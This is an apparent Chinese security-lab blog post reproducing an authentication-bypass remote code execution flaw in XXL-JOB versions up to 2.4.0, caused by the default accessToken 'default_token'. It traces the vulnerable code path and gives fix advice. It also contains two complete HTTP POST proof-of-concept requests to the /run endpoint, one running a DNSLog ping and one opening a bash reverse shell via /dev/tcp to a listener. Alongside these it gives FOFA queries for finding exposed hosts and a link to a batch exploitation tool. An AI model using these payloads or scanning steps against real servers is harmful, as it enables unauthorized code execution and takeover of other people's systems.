『漏洞复现』XXL-JOB 默认 accessToken 身份绕过 RCE 漏洞分析及复现
『漏洞复现』XXL-JOB 默认 accessToken 身份绕过 RCE 漏洞分析及复现
sec0nd安全 2025-01-24 15:01
点击蓝字
关注我们
日期:2025 年 1 月 23 日
作者:hdsec
介绍:XXL-JOB 默认 accessToken 身份认证绕过造成 RCE 漏洞。
0x00 前言
XXL-JOB
是一个分布式任务调度平台,常用于定时任务管理和调度。accessToken
用于身份认证,确保只有合法用户能访问和操作任务。然而,默认配置或实现中的缺陷可能导致认证机制失效。
0x01 漏洞成因
默认
accessToken
:系统安装后可能使用默认
accessToken
,若未及时修改,攻击者可利用默认值绕过认证。
accessToken
验证缺失:某些接口或功能可能未正确验证
accessToken
,导致攻击者无需有效
token
即可访问。
accessToken
泄露:
accessToken
可能通过日志、错误信息等途径泄露,攻击者可利用其绕过认证。
0x02 影响版本
2.31< XXL-JOB
<= 2.4.0
0x03 漏洞分析
简单对该漏洞进行分析一下~
漏洞环境:
https://github.com/xuxueli/xxl-job/releases/tag/2.4.0
下图是在配置文件中的默认值,由于很多人在使用该框架的时候并未修改其默认的值xxl.job.accessToken=default_token
,攻击者可利用默认值绕过认证,执行任意代码,从而获取服务器权限。
get(XxlJobRemotingUtil.XXL_JOB_ACCESS_TOKEN);
获取用户输入的XXL_JOB_ACCESS_TOKEN
值。
判断传入的accessToken
是不是null
且不为空,和配置文件中的accessToken
是否相等,如果不相等,则返回FAIL_CODE
。
找到程序入口。
TriggerParam triggerParam = GsonTool.fromJson(requestData, TriggerParam.class);
return executorBiz.run(triggerParam);
将JSON
格式的字符串requestData
反序列化为TriggerParam
对象。
将解析后的任务参数传递给执行器executorBiz
,调用其run
方法执行任务。
跟进TriggerParam
这个类,确定需要传递的参数。
跟进run
方法,这段代码是任务调度系统中任务执行的核心逻辑,包括:加载或初始化任务线程和处理器、根据任务类型校验任务处理器、处理任务阻塞策略、注册任务线程、推送任务到队列。
继续跟进jobThread
,如果无超时控制,直接执行任务。
跟进execute()
。
glueType.isScript()
,检查任务类型是否为脚本类型(如
GLUE_SHELL
、
GLUE_PYTHON
等)。
String cmd = glueType.getCmd();
获取脚本类型对应的执行命令,后续将执行的命令写入脚本文件。
int exitValue = ScriptUtil.execToFile(cmd, scriptFileName, logFileName, scriptParams);
调用系统命令执行脚本文件,并将执行日志输出到指定日志文件并执行脚本文件。
当攻击者构造恶意的执行命令,就会导致RCE
漏洞。详情可见下文漏洞复现。
0x04 漏洞复现
fofa
语句:
"invalid request, HttpMethod not support" && port="9999"
或者
body="{\"code\":500,\"msg\":\"invalid request, HttpMethod not support.\"}" | fofax -fs 10000 -e>xxl-job.txt
在抓取的请求头加上XXL-JOB-ACCESS-TOKEN: default_token
。
利用下面的请求POC
可以进行DNSLog
探测。
POST /run HTTP/1.1
Host: x.x.x.x:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
XXL-JOB-ACCESS-TOKEN: default_token
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Length: 378
{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "ping x.ceye.io",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}
还可以利用 bash -i >& /dev/tcp/监听IP/监听端口 0>&1
进行反弹shell
等操作。
POST /run HTTP/1.1
Host: x.x.x.x:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
XXL-JOB-ACCESS-TOKEN: default_token
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Length: 365
{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "bash -i >& /dev/tcp/监听IP/监听端口 0>&1", "glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}
0x05 批量漏洞挖掘
使用fofaEX
等工具进行批量搜集,再使用如下工具进行批量漏洞验证:
https://github.com/charonlight/xxl-jobExploitGUI
0x06 修复建议
1
修改默认 accessToken
安装后立即修改默认
accessToken
,确保其复杂性。
2
加强 accessToken 验证
确保所有接口和功能都严格验证
accessToken
。
3
防止 accessToken 泄露
避免在日志或错误信息中记录
accessToken
,并定期更换。
4
更新版本
及时更新
XXL-JOB
,修复已知漏洞。
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
点此亲启
ABOUT US
宸极实验室
隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程研究中心”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。
团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。
对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。